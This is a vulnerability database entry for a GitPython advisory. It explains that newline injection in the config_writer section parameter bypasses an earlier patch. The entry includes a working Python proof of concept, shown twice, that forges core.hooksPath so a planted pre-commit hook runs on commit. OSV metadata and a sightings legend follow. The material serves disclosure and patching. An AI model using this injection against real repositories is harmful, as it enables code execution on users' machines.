The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "cycode",
"purl": "pkg:brew/cycode"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.5"
},
{
"fixed": "3.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-cycode-CVE-2026-67326",
"modified": "2026-09-20T10:52:03Z",
"published": "2026-08-13T16:42:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.